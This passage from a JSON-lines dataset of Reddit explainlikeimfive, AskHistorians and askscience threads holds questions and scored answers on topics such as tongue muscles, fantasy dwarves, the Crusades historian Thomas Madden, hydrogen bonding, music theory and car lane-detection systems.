Africa.\n\n_URL_0_\n\nThat article also discusses butterflies."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://mbrd.ucsd.edu/Research/labs/Cheng/Halobates%20Revewlower.pdf"], ["http://news.bbc.co.uk/earth/hi/earth_news/newsid_8149000/8149714.stm"]]}
{"q_id": "e2rgb8", "title": "how can i stick out my tongue?", "selftext": "If muscles can only contract, (e.g. both biceps and triceps are needed to lever your forearms up and down) then how can I swell up my tongue and  have it protrude from my mouth?  Is it pulled forward from my throat?  The control 'sensation' seems to lie inside the top surface of the  organ.  It doesn't seem as simple as making the organ into a smaller cross-section for the same volume, and it seems to respond too quickly to be a hydro-static thing.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e2rgb8/eli5_how_can_i_stick_out_my_tongue/", "answers": {"a_id": ["f8x7pv3", "f8xm9q6"], "score": [53, 4], "text": ["Your tongue actually has eight muscles, not one. One of those is attached to the front of your lower jaw, and pulls the whole lot forward.\n\nEdit: grammar", "Pretend like you are throwing up, it's the same muscles, you'll figure it out once you do that a few times."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1ljywm", "title": "in its natural habitat away from humans, what is the use/purpose of a parrot repeating a noise it hears?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ljywm/eli5in_its_natural_habitat_away_from_humans_what/", "answers": {"a_id": ["cc00c2g", "cc00cir", "cc00lcf", "cc07orq"], "score": [3, 3, 90, 2], "text": ["For some species it's like advertising 'I am very fit because I can learn a lot of different birds'. Prospective mates seem to like that part. \n\nAlso, a lot of them copy the leaders of the flock because they want to do what the leader is doing kinda like peer pressure.", "Also, bear in mind that not every trait has to \"serve a purpose\", and it doesn't always have to be \"natural\" in origin, either.\n\nFor example: what is the purpose of pug dogs having such squished faces? There *isn't* one. In fact, it's bad for them. But it's a trait that humans have artificially selected for, which is why it continues. I'm no bird expert, but it seems that people love this particular trait in parrots, so we might have fostered it ourselves, where it might normally have been far less pronounced.", "Parrots are social and intelligent. Researchers are starting to learn that parrots in the wild form tribes and each tribe has it's own language or dialect. Like humans, the parrot chicks are not born able to speak the language and learn from the parents and other family members. \n\nI have a conure and a ciaque who grew up together and they share the exact same sounds with each other, even though they are different species and have traditionally different vocalizations.... except when they scream, they use their native tongue, especially the conure!", "[Here](_URL_0_) is a wonderful clip from David Attenborough talking about the Lyre bird which puts together complex 'songs' to attract mates. \n\nIt's all very interesting but it gets almost unbelievable at around the two minute mark."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.youtube.com/watch?v=VjE0Kdfos4Y"]]}
{"q_id": "674ohi", "title": "Why have dwarves in fantasy generally been portrayed as hairy, greedy warriors who prefer to live underground?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/674ohi/why_have_dwarves_in_fantasy_generally_been/", "answers": {"a_id": ["dgnq3q0", "dgnt8mg"], "score": [7, 7], "text": ["A confluence of different factors and portrayals. You might want to look at mine and u/itsallfolklore's answers on [Had the legendary \"dwarfs\" of Western Europe been associated with Jews before Tolkein (or possibly Wagner)?](_URL_0_) and [When did the depiction of dwarves as Scots begin in the fantasy genre?](_URL_1_), which I think largely covers a good bit; as far as living underground there is fairly substantial amount of material for various earth-spirits in European folklore and mythology (and many cultures besides those have their own subterranean supernatural dwellers as well), and this understanding of dwarfs, gnomes, or related critters living underground appears to have been fairly well-ensconced by about the 1890s...but it was far from a universal image; in Andrew Lang's fairy books (1889-1913) for example, they are often as much creatures of forest as underground. But if you look at Lang's version of \"Snow-White and Rose-Red\" from [The Blue Fairy Book](_URL_2_), they are described as:\n\n >  I must go to the wood and protect my treasure from the wicked dwarfs. In winter, when the earth is frozen hard, they are obliged to remain underground, for they can't work their way through, but now, when the sun has thawed and warmed the ground, they break through and come up above to spy the land and steal what they can: what once falls into their hands and into their caves is not easily brought back to light.\n\nWhich is pretty close to what has become the standardized image of the underground-dwelling, bearded, greedy, dwarf - especially through the offices of Walt Disney's *Snow White and the Seven Dwarfs* (1937; and actually based on the Brothers Grimm version of the story) and J. R. R. Tolkien's *The Hobbit* (1937) and *The Lord of the Rings* (1954-1955), and their innumerable adaptations, pastiches, etc.\n\nIt's important to remember that these are not the *only* depictions of dwarfs as a fantasy people - in the third voyage of Sinbad he was captured by dwarfs that lived on an island, and in *Gulliver's Travels* (1726) the Lilliputs are short on stature but otherwise not much different from us Yahoos. But the underground, bearded, greedy version caught the popular imagination through several prominent works, and helped set the stamp on what people default think of as dwarf appearance and behavior.", "/u/AncientHistory and I frequently tackle these sorts of questions from different but not contradictory perspectives, and my hat is off again in the general direction the excellent answer provided by my colleague. /u/AncientHistory typically and expertly connects literary roots so that it is possible to understand the origins and relationships that one can consider to understand the unfolding of fantasy literature.\n\nTo this I will add a note or two. The idea of underground supernatural miners is old and it was widespread. Besides the Cornish example described in the link that /u/AncientHistory provided, it is useful to note that Georgius Agricola, a sixteenth-century German scholar, describes these sorts of underground miners in his [De re metallica](_URL_0_). This idea, then, was part of an old cultural bedrock of Northern Europe (and elsewhere for that matter!). oral tradition communicated stories about these entities long before they were documented in print, either by folklorists (including the Brothers Grimm) and by fantasy authors. This idea was not created out of nothing. In folklore, the supernatural miners were typically regarded as wizen men with long bears and tattered clothes. They jealously guarded the underground wealth and would punish greedy men. They could, if treated with respect, co-exist nicely with their human counterparts. \n\nAnd a word of caution: many supernatural beings - not just the ones underground - were regarded as spending a great deal of their time in small form. Small stature does not link all the small actors any more than other attributes do - including the ability to become invisible. Many supernatural beings with little direct relations were small; the folk regarded the surface entities as distinct from those who worked underground regardless of this shared characteristic."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/5bkwml/had_the_legendary_dwarfs_of_western_europe_been/", "https://www.reddit.com/r/AskHistorians/comments/5akyhe/when_did_the_depiction_of_dwarves_as_scots_begin/", "http://www.worldcat.org/title/blue-fairy-book/oclc/974272195"], ["https://en.wikipedia.org/wiki/De_re_metallica"]]}
{"q_id": "3ngnnq", "title": "How bloodless was the Glorious Revolution really?", "selftext": "All the time you hear about how peaceful and devoid of conflict the Glorious Revolution was, but it seems to me unlikely that there wasn't even a bit of unrest, so my question is were there any instances of violence when the revolution occurred or was it really as peaceful as they say?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3ngnnq/how_bloodless_was_the_glorious_revolution_really/", "answers": {"a_id": ["cvnw7qd"], "score": [4], "text": ["Even the official story is far from bloodless if you consider the various conflicts in Ireland and Scotland."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "zlgme", "title": "can someone explain what's a note, key, octave, scale, root note, and how they all relate to each other?", "selftext": "I know there have been similar questions on this before, but i still don't understand fully or they didn't cover some of the stuff that i still don't understand.\n\nFrom what i read, a note is simply a sound at a particular frequency. And notes A to G mark an ascension in these frequencies. For example, A is 400 hertz, B is 500 hertz, C is 600 hertz and so on (i don't actually know what frequencies they are at i'm just putting an example).\n\nNow, i'm not really sure what a key is. Some songs start in the key of E, and it seems that a key is the same as a scale. A scale is a group of notes that sound nice together. And if you're playing in the key of E, you can only play those notes which are in that scale. So if you're playing in the key of E, you only play those notes which sound nice with the key of E. Is this right? Does this then have anything to do with major scales, pentatonic scales, etc?\n\nNext, my musician friend told me that a root note is not the same as a key. In that case, what's a root note?\n\nAlso, how is an octave related to a key? How many octaves do you need to move from one key to another? And, how can you have the same note but in different octaves? If A is at 400 hertz in this octave, and it's 800 hertz at a higher octave, what makes them the same note? They don't even sound the same anymore. It just sounds like one note is higher than the other.\n\nPlease correct me if i'm wrong anywhere. This is what i have gathered from reading past threads.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/zlgme/can_someone_explain_whats_a_note_key_octave_scale/", "answers": {"a_id": ["c65mb2q", "c65q7qc"], "score": [2, 3], "text": [" > From what i read, a note is simply a sound at a particular frequency. And notes A to G mark an ascension in these frequencies. For example, A is 400 hertz, B is 500 hertz, C is 600 hertz and so on (i don't actually know what frequencies they are at i'm just putting an example).\n\nKinda, yeah. A note in a particular octave has a particular frequency. For example, A4 has a frequency of 440hz, while A1 has a frequency of only 55hz. A1 would sound lower because the wavelengths are longer and the frequency is less, but they would still sound like the same \"basic note\", because 440 is a multiple of 55.\n\nYes, A to G is ascension of frequencies.\n\n >  Now, i'm not really sure what a key is.\nA key is simply what scale a song is based on. A song in the key of E-flat is made up of notes from the E-flat major scale.\n\n >  So if you're playing in the key of E, you only play those notes which sound nice with the key of E.\n\nWell, the notes that sound 'nice with the key of E' are in the E major scale. So yeah, you are kind of right.\n\n >  Does this then have anything to do with major scales, pentatonic scales, etc?\nYup. So let's say you try to play a Bb major scale. In order for the scale to sound \"correct\" or \"nice\" when you play it, you can only play the notes that are in the Bb major scale, or else it sounds \"wrong\".\n\n >  Also, how is an octave related to a key? How many octaves do you need to move from one key to another? \n\nI'm not sure if octaves and keys are actually related (someone who knows more music theory than I do, feel free to correct me).\n\n > And, how can you have the same note but in different octaves?\nIf A is at 400 hertz in this octave, and it's 800 hertz at a higher octave, what makes them the same note? They don't even sound the same anymore. It just sounds like one note is higher than the other.\n\nWell, that is the point, basically. If you have a note in one octave (e.g. 440 hz) and double it, it **is** the same note, just at a higher frequency (which is why it sounds \"higher\"). Same as if we played the lower octave (it's just at a lower frequency). (Also, see my answer to your first question above)\n\n > Next, my musician friend told me that a root note is not the same as a key. In that case, what's a root note?\n\nA root note is the note that a chord is built upon (think of tree roots. they're at the bottom, just like a root note). So if you have an E-flat major chord (Eb, G, and Bb), Eb is the root note, since it's at the bottom.\n\nWell, there you go. I answered most of your questions to the best of my ability. Those with further knowledge of music theory, feel free to correct me.\n\nHope this helps!", "I'll try to clear things up if there's any doubt. Music is what I do, so I had to answer this :)\n\nFirst, it's easy to understand this if you're looking at a keyboard (a piano keyboard!). If you don't have a piano/keyboard laying around, [here's](_URL_4_) a good image of one, labelled with the notes and 2 octaves.\n\nSo there's the first thing: octaves. An octave is a way to group together notes on a keyboard. You see how in the image above, they labelled an octave as going from C to B, then another octave from the next C to B? That' exactly what an octave is, it's a group of 8 notes. Starting with that low C, you count 8 (white keys only) notes up to the next C, and there's an octave. Keep in mind, you can do this with any key. So if you started with the A that's labelled 220 Hz, you got up 8 notes, and you're at the A labelled 440 Hz.\n\nI see you had some confusion as to why they're both the same note, even though one is higher than the other. [Listen to this](_URL_3_) (for some reason, there's a big delay from when you hit play, and when it actually plays. If it doesn't play at all, just download the mp3. They're tiny little files). That was me playing middle C, then the C an octave above, then both together. You see how they both \"sounded like the same note\"? That's why they're both \"C\". The same goes for playing two A's, or 2 G's. If you want to get a little technical, those two notes were one octave apart. If you were to play middle C with both of your hands, you'd be playing two notes that are 0 octaves apart, aka the same note!\n\nSo that's octaves, just a way of grouping together a set of notes. Now, you're sort of right in that a scale and a key are the same. A scale is a set of notes based on a particular note, that ascend and descend in a particular pattern depending on the scale. That's confusing to read, probably, so listen to this: [C Major Scale](_URL_8_). A scale goes from one note, in this case C, up an octave (C again), and follows a certain pattern of notes along the way (In my examples, I'm also playing the notes going back down. It's the same notes, just traveling back down the keyboard). That pattern was described by tehgoatman earlier. One thing to note is that the C Major scale sounds kind of bright and happy, right? That's a characteristic of major scales. For example, here is my favorite major scale, [D Major](_URL_6_). It sounds pretty happy too, right?\n\nNow, let's contrast that with a minor scale, here's [D Minor](_URL_1_), my favorite minor scale (it's safe to say D is my favorite key overall). Notice how this sounds kind of sad and downtrodden? That's a characteristic of minor scales. Again, minor scales follow a specific pattern. So once you know the pattern for creating major and minor scales, you can make them from any note! Just to reinforce this, listen to these chords: [D major chord, and D Minor chord](_URL_9_). The major is happy, the minor is sad!\n\nSo great, but what's a key? Well a key is used to state that a particular piece of music uses a certain scale. If you're looking at sheet music, this is told by the [key signature](_URL_2_). That probably looks like nonsense to most people, but if you know what each key looks like, you'll know that that is either A Major or F# Minor (that and it says so at the top of the page...). How do you know which one it is? Good question! That's determined by the root note!\n\nHere's another example of a key signature: [G Major/E minor](_URL_0_). It's not important that you don't know what the symbols are telling you. But remember: a major sounded happy, and a minor sounded sad, right? Here, I'm playing a G Major chord, then the G Major scale. After that, I play an E Minor chord, followed by the E Minor scale: [Listen](_URL_10_). They both use the same notes in their scale, but one sounds happy, and the other sounds sad! That's because using the \"root note\" of **G** makes a major scale with those notes, and using the root note of **E** make a minor scale with those notes! In fact, *all scales have a major and minor equivalent*. You know which one it is both by the emotion it sounds, and by the *root note*.\n\nOf course, there are other kinds of scales. [Here is a D Harmonic Minor Scale](_URL_5_). Notice how this one is kind of sad, but also has an air of mystery about it? To me, it sounds very Arabian/Indian. That's a characteristic of harmonic minor scales, which follow a similar pattern as minor scales, but just slightly different. In fact, only one note is different between the harmonic minor and regular minor (called natural minor) scale. Can you tell which note it is?\n\nHere is a scale you mentioned, [a pentatonic scale](_URL_7_). This specific scale sounds Oriental to me, and a lot of ancient music used pentatonic scales. What's special about them is that there's only 5 unique notes in the scale (thus **penta**tonic), and therefore eliminate a lot of the dissonant sounds regular \"heptatonic\" scales can have. An easy way to play a pentatonic scale is to go to a keyboard and just play only the black notes.\n\nAs far as the rules of music go, these are really just standards proposed by Western music. You don't have to follow any of the standards to have good music. For example, Eastern, Middle Eastern, and European folk music don't follow the same standards as I've described here. In Indian music, there's a whole separate notation system for notes.\n\nThere are still \"rules\" as for what chord to play after what, but these are really just governed by what sounds good to people. For example, a lot of pop songs use the same chords because it sounds catchy and pleasing. But, as with all the fine arts, once you know the \"rules\", you can break them to your heart's content.\n\nI think that's all I've got that's relevant to your questions, but let me know if you have more!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/File:G-major_e-minor.svg", "http://minus.com/lTY2ajP1bPzAm", "http://en.wikipedia.org/wiki/File:A-major_f-sharp-minor.svg", "http://minus.com/lFEfhCWFE8F39", "http://www.josef-k.net/mim/ThePianoKeyboard.gif", "http://minus.com/llrwxoUDmYByL", "http://minus.com/l5LpQI94MlBop", "http://minus.com/l6Fp8059PP0sb", "http://minus.com/lyTzKdfR4CdZo", "http://minus.com/lOuMoyAcajK8H", "http://minus.com/lWUjMBlBJ3OrP"]]}
{"q_id": "bj8lxs", "title": "Thomas F. Madden.....well regarded?", "selftext": "I am mostly asking about his writings about the Crusades and what he says are \"Myths\" about the crusades.\n\nArticles like this one....[_URL_0_](_URL_0_)\n\nNow obviously his target audience is Catholics in this article......but not even mentioning all the murdering by Emicho or Peter the Hermit's bunch seems like a glaring omission.  He also doesn't make a distinction between the Umayyad Caliphate which had held Jerusalem for hundreds of years and the invading Seljuk Turks.\n\nI'm no professional historian.......but writings like this conflict with the picture I have gotten about the crusades from what I have read.  Am I mistaken?If this isn't the kind of question r/AskHistorians is meant to field I apologize.\n\nEDIT - To be clear, I have seen other writings of his that contain some detail this one lacks.  \n\n\nEDIT, a historian friend of mine told me I was confusing the Abbasids with the Ummayads.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bj8lxs/thomas_f_maddenwell_regarded/", "answers": {"a_id": ["emxdqry"], "score": [7], "text": ["Yes and no. He's a decent scholar who has done a lot of good work, especially on the Fourth Crusade and the role of Venice in the crusades more generally. However, he has a persistent belief that the First Crusade was defensive, and his writing on it can come across as rather political when the vast majority of medievalists frown on politicisation as an impediment to the objectivity that a historian ought to strive for. As is abundantly evident in that article, he sometimes paints it as a response to Islamic Jihad, but that doesn't hold up to scrutiny and his reputation suffers a little for it. \n\nAt a face-value reading, the First Crusade certainly does seem defensive. In the 1120s, Guibert of Nogent described Europe 'assailed by enemies on all sides', whilst Fulcher of Chartres gives a long list of Christian wars against Islamic enemies and particularly emphasised the war between the first Caliph and the Roman emperor Heraclius as a precedent for the First Crusade. However, these sources have problems rooted in the wider political context that helped spawn the First Crusade. \n\nUrban II was a pope in exile, and a large chunk of Europe did not accept his authority. In calling the First Crusade he was able to show how much support he commanded (and it worked, history remembers him as the rightful pope) - concern for the Christians of the east was certainly one of his major concerns, but it's not the only reason he called for a military campaign. The pope condoning a military campaign was nothing new, and there had nearly been a military campaign against the Turks in 1073, but granting absolution of sins was a new idea and the scale of the campaign was unprecedented. The only contemporary western account of the First Crusade, the *gesta francorum*, was rather lacking in explanation as to why the First Crusade happened. \n\nThe papacy was concerned that people would question their authority based on the new powers the papacy had given itself, and given that the Holy Roman Empire and its anti-pope was itching to undermine them, this issue had to be addressed. The early 12th century witnessed a propaganda campaign, conducted by the papacy and by Bohemond of Antioch. The former needed to justify their unprecedented actions, whilst Bohemond wanted a new crusade to attack the Byzantine Empire (who were Christian - anyone who thinks Bohemond went on crusade in defence of Christians is kidding themselves). Documents were faked to give the crusade more legitimacy and historical precedence, the *gesta francorum* was rewritten and repackaged by several monastic writers such as Guibert of Nogent and Robert the Monk to include lengthy explanations for why the First Crusade had to happen. Other writers plundered history for examples of great Christian rulers who had fought holy wars, no matter how tenuous such a label might be. This is where this notion of centuries of Christians struggling against the infidel became popular. It was perpetuated not just by church writers but also by popular songs such as the Song of Rolland, which dramatizes a disastrous campaign by Charlemagne into Muslim Iberia, and shows many clear influences from the events of the First Crusade. The notion that the First Crusade was the inevitable response to Islamic aggression was one pushed by the papacy to legitimise its actions, and it was so successful that it still has influence. Most people reading the sources at face-value will be led to believe the crusades to be  defensive. \n\nThis is not to say that *no* crusaders fought for those reasons, many certainly did. It's true that Christians in western Europe were very concerned by the advance of the Seljuk Turks, and the harassment of pilgrims which had drastically increased in the 1180s and 90s due to regional warfare had become a major concern for the pope (though also for the caliphs - it wasn't just Christian pilgrims who were attacked, Islamic pilgrims also suffered). \n\nAnother problem with Madden's belief is the fact that a lot of the crusaders' actions seem pretty aggressive. You've mentioned the massacres of Jews by Count Emicho, for example. There's also the conquest of Antioch by Bohemond and the seizure of Edessa by Baldwin, and how some of the leaders of the First Crusade considered attacking the Byzantines, the Christian empire who the crusaders had been sent to help. In articles such as the one you've linked, Madden downplays these events which does make him come across as rather un-scholarly. \n\nGenerally speaking, I think Madden is great on the Fourth Crusade, but rather dodgy on the First Crusade, and I'm sure a lot of medievalists would agree about that (well, I know many do, but there are rules here about anecdotal evidence). His belief that the First Crusade was defensive just doesn't stand up, and he has been weirdly attached to it. From the 1100s people certainly *believed* that the crusades were defensive in nature, but Madden often makes the argument that they *actually were* defensive, which is a rather fragile argument and incompatible with the actions of many of its participants."]}, "title_urls": [], "selftext_urls": ["https://www.catholicity.com/commentary/madden/03463.html"], "answers_urls": [[]]}
{"q_id": "6fdr90", "title": "what, precisely, is the difference between a dipole-dipole interaction and a \"hydrogen bond\"? Why is a hydrogen bond (a) different and (b) stronger?", "selftext": "People typically just give the reason that it's the electronegativity difference. But that's wrong - HCl does not show hydrogen bonding - just look at the [boiling points](_URL_0_) - it's very clear that only HF, H2O and NH3 have hydrogen bonding here. There's a huge offset from the rest of the trend because of them. CLEARLY the electronegativity is not the full story, because HCl is not showing anything off-trend in that plot, yet has a bigger electronegativity difference than NH3 does.\n\nI went down the rabbit hole of thinking it was because it had to be period 2 elements - because then they were smaller and therefore had a better orbital overlap with hydrogen, creating a stronger bonding interaction. But NOPE. That's not the explanation either. I found some chem papers floating around that are talking of hydrogen bonding in H2S. WTF? I look on wikipedia and see that hydrogen bonds are supposedly why water gets such a high boiling point whereas H2S doesn't, because H2S doesn't hydrogen bond.\n\nUm. GUYS. Does it or doesn't it?? wtf even IS a hydrogen bond anymore?? if it's just  a dipole-dipole thing then why have its own name??! and what's the deal with water's boiling point?? if it ISN'T just that then what IS it? what differentiates it?\n\nI find it maddenning that literally nowhere clarifies this. All it EVER says is lists molecules that hydrogen bond and ones that don't, and states NO REASON why those specific ones do or don't or what the flipping difference is supposed to be. WHATS THE DIFFERENCE?\n\n\n\nFOR example. How do I tell whether the electrostatic interactions in HS are hydrogen bonding or not?\n\nBEYOND something vacuuous like \"oh it's a sulfur therefore we don't call it that\". There are papers out there that DO call it that.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6fdr90/what_precisely_is_the_difference_between_a/", "answers": {"a_id": ["dihgpvv", "dihm8jt", "dihmavb"], "score": [5, 3, 27], "text": ["As you've already identified it's not just about electrostatics, the size of the atom is important too. So Cl (z=17) and sulphur (16) do not experience significant dipole-dipole interaction compared to F, O, N (7, 8, 9). This doesn't mean there is no contribution, but rather that it isn't significant. H bonding is often described as a special case and there are some extremely well considered and extensive answers here: _URL_0_\n\nI believe there are some papers in the discussion that refer specifically to the question of H bonding in these contexts, and to the best of my understanding it is exactly what you suggest: inexact. H-O, H-F etc are arbitrary special cases precisely because the strong bond polarity combined with small radius means that the effect of the dipole gives them special properties which are inherently noticeable, rather than the hydrogen bond being a specific property per se.\n\nI hope I've understood your question correctly and this helps.. ", "It's all about charge density. H2O and H2S have the same covalently-bonded hydrogens and heteroatoms, but the negative charge density on the O is greater than on the S because the O is so much smaller. This means O is far more capable than S of attracting other covalently-bonded hydrogens (which, as you note, have a positive charge density).\n\nAs far as what the definition of hydrogen bonding is, you've kind of answered your own question. If you look at that graph, for each series, electrostatic interaction generally trends upward with increasing heteroatom size. Hydrogen bonding is defined as an electrostatic interaction between hydrogen and any atom for which the electrostatic interaction with hydrogen is *greater* than the electrostatic interaction between hydrogen and the next smallest atom in the same series. So yes, it's relative, but this definition specifically includes F, O, and N, and specifically excludes S.\n\nWhat about those papers that referred to H-bonding in H2S? Well, if you look at the other heteroatoms on the graph, you'll see that one forms a compound with hydrogen that is relatively uncommon (PH3 is used in tiny amounts for microelectronics, tiny amounts to prepare catalysts for the specialty drug industry, and large but declining amounts as a pesticide to which pests are becoming resistant), three others form strong acids, which dissociate immediately and almost completely in any polar solvent (although you'll be pleased to know that in their dry forms they make regular cubic crystals as a result of the interaction between neighboring pairs of H and halide ions), and the others are almost unheard-of. \n\nAnyway, what I'm getting at is that H2S is the only substance on your graph besides water, ammonia, and the acids which is even moderately common. It does form a significant dipole, which must be considered in academic work or in the design of industrial processes like acid gas absorbers. For the sake of completeness, you'll likely see references to hydrogen bonding in PH3 in the academic literature as well, although less frequently as PH3 isn't nearly as common as H2S. Rest assured that these are just another example of the misappropriation of a technical term into an academic colloquialism, creating an unfortunate point of confusion for learners like you.\n\nAnd just in case anyone is wondering why F, O, and N all show this trend, but not C, it's because when F, O, and N form covalent bonds, they have unbonded electron pairs remaining in their valence shells. C (forming four bonds) does not. It gets a little more complicated than that, but that's essentially what it boils down to.", "This is one of those cases where general sources are woefully behind the literature. In 2011 IUPAC redefined the hydrogen bond and listed specific criteria that are required for there to be hydrogen bonding. For instance, H2S does not hydrogen bond because the S---H interactions are not directional, which is one of the criteria. This can be seen in the crystal structures of H2O and H2S. The former has 4 nearest neighbors while the latter has 12.\n\n[Here](_URL_0_) is their report. The definition is: The hydrogen bond is an attractive interaction between a hydrogen atom from a molecule or a molecular fragment X\u2013H in which X is more electronegative than H, and an atom or a group of atoms in the same or a different molecule, in which there is evidence of bond formation. The key point is that there is evidence of a partial covalent nature to the bond, which dipole-dipole interactions don't exhibit."]}, "title_urls": [], "selftext_urls": ["http://faculty.uml.edu/ndeluca/84.122/topics/fig0803c.gif"], "answers_urls": [["https://chemistry.stackexchange.com/questions/5503/what-exactly-is-hydrogen-bonding-and-does-it-really-need-fluorine-oxygen-or-n?lq=1"], [], ["https://www.degruyter.com/view/j/pac.2011.83.issue-8/pac-rep-10-01-01/pac-rep-10-01-01.xml"]]}
{"q_id": "bvkmz6", "title": "lane detection system: what kind of sorcery is this?!", "selftext": "Reposted because I forgot to tag the title.\n\nOk, I'm going to jump right into this. My husband and I rented a car to make our family vacation trip from Texas to Florida. We were given a newer Toyota Camry, as we requested a car of similar size to our car, which happens to be a 2001 Toyota Camry. My mind was just blown by this car. My husband veered off the road just slightly, and an alarm started going off in the car. I am in my 30s with 2 teenagers, so I thought nothing could surprise me. I was wrong. As soon as the alarm went off, I jumped in my seat in excitement and asked if it was what I thought it was. We have now been playing with this system to see how it works. I had to pick my jaw up off of my lap because HOW DOES IT KNOW??!!?? When there is a slight bend in he road, we don't use a blinker, but we turn the wheel ever so slightly, and it doesn't go off. However, if we're in a straight lane and we turn the wheel so the car moves into the next lane a little or into the shoulder, we get the alarm. It doesn't come on when we use the blinker, and I understand how that would work, but I can't figure this out, and I don't understand any materials I've found on it, so someone please, ELI5!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bvkmz6/eli5_lane_detection_system_what_kind_of_sorcery/", "answers": {"a_id": ["eppy8zj", "eppyfc4", "eppyimo", "epqp0cd", "epsj7zn"], "score": [10, 3, 6, 2, 2], "text": ["The car has a camera and a computer.  The camera takes a picture and the computer combs through it and rates each part the image looking for lines.  If it's pretty sure that something is a line, it gives it a high score.  If it isn't sure, it gives it a lower score.  When the computer is done, it has a pretty good idea where the lane markings are, because compared to the rest of the road, other cars on the road, trees and sky, the lane markings will truly stand out as the only pure lines in the image.  And once you know where those lines are, it's easy to tell whether the car is crossing them.", "I think this site explains it really well, especially since there are a few different types of warnings/indications and systems: _URL_0_\n\nBut basically, there is a camera that is facing the road in front of the car. It is usually installed high up in the windshield. The camera detects any lane markings ahead and then can tell if the car is staying within those markings or if it is veering off course. \n\nThe technology relies on clearly marked roads so if you're on a dirt road or on a highway where the lane markings have been faded or stripped down it might not work that well. \n\nAnd there are different versions of the system - some of them resist you changing lanes without putting the turn signal on first, for instance, and others just give you a warning that you're going out of the lane.", "There's a camera in the top center behind the windshield. A software analyzes the videostream to detect lane markings and depending on the car also other things, such as pedestrians or traffic signs. \n\nSome systems are better and some are worse. I've seen cars that can detect lane markings even in the worst conditions, while others already fail when the markings are worn out. In the end though, the system is usually as good as the software is. \n\nSome cars use the lane system to also automatically steer and keep the car in the center of the lane. Also, a lot of cars combine the system with an adaptive cruise control that can follow the car in front of you and adjusts the speed automatically to follow the traffic. That system can either also use a camera, or radars that are mounted somewhere in the front of the car. \n\nIn very advanced systems, cars can also do automatic lane changes and fancy stuff like that.", "Not an actual answer due to plenty of answers already, but take into consideration that your car has to process the Imagines. Over. And over. And over again, and do so in a timely fashion to alert you on time. Which is a fairly basic thought. But keep in mind. Your car likely has more computer power than the world did in 1990.", "Take a look at [this video](_URL_0_) from Mobileye, a big manufacturer of driver assistance systems. It shows you how the computer is processing the camera video feed to automatically detect lane markings and other vehicles. This video was posted in 2009, and computer vision tech has gotten leaps and bounds better since then with the adoption of new machine learning techniques."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.extremetech.com/extreme/165320-what-is-lane-departure-warning-and-how-does-it-work"], [], [], ["https://www.youtube.com/watch?v=KZidDNitEJQ"]]}
{"q_id": "15z2pa", "title": "is the iraq war over?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/15z2pa/is_the_iraq_war_over/", "answers": {"a_id": ["c7r5hkm", "c7r760r"], "score": [3, 2], "text": ["It depends.  It never actually started, because war was never actually declared.  It was a military action authorized by Congress.", "Yes.  The war took about 2 and a bit weeks.   What you are seeing on the news is a series of terrorist attacks, or an \"insurrection\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "7krg26", "title": "When did people start to have a future career dream and pursue it rather than following their parents trade?", "selftext": "Seems back then people didn't have so much choice in their career. Son of a farmer would be a farmer, a physician would be a physician, a merchant would be a merchant, etc. If they had another choice it was generic like be a clergy or monk. When did people start to have more choice like we are today? And why?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7krg26/when_did_people_start_to_have_a_future_career/", "answers": {"a_id": ["drh2wh1"], "score": [2], "text": ["From what I have read this may have something to do with social mobility due to the industrial revolution. Originally, the reason why people typically took up their parents trade was because it was available. It wasn't often people would jump from the poor lower class into the upper class because there was no social mobility. During the industrial revolution the middle class appeared because people were getting jobs doing things never done before. The class system worked, before the industrial revolution, in a way that there was just a poor lower class and a upper class, with only a few exceptions of people who fell in between. After the industrial revolution because job opportunity in cities sky rocketed with new inventions and factories being built, people began to move to cities to pursue higher paying jobs. Although those jobs in the long run probably were very taxing and somewhat dangerous, many people were able to move up in class and leave behind the old family trades. Hopefully this answers at least part of your question as to \"when\" it all began. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5qietx", "title": "how exactly do binocular and monocular vision in humans compare?", "selftext": "I hope this is the right sub for such a question, but this has been on my mind for a long time, and was wondering if anyone could offer me an explanation.\n\nTo begin with, I have monocular vision. I see out of both eyes, but the vision in one is far worse than the other, thus by default I only use one. To further explain, were I to look at my nose, I could only see one side of it or the other, never both sides simultaneously. As far as I understand, this is monocular vision. \n\nNow, since I've never had binocular vision, I've always been curious how the two differ, and what exactly is missed out on when one does not have binocular vision. \n\nFor instance, I've read many times that depth perception is a big one. However, I can estimate the distance of an object from myself, and in no way does it feel forced or as if I'm compensating. That is one I've never been able to comprehend. (It'd be nice, but I can't just close one eye and compare the two images lol) \n\nAny explanation would be greatly appreciated! Thank you!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5qietx/eli5_how_exactly_do_binocular_and_monocular/", "answers": {"a_id": ["dczgn71"], "score": [3], "text": ["Stereopsis is hindered in monocular vision. \nThe perception of 3D is not the same as in binocular vision. Rest is fine. The visual acuity or clarity won't be affected. But the scenes would look the same as on a screen in a movie theatre."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
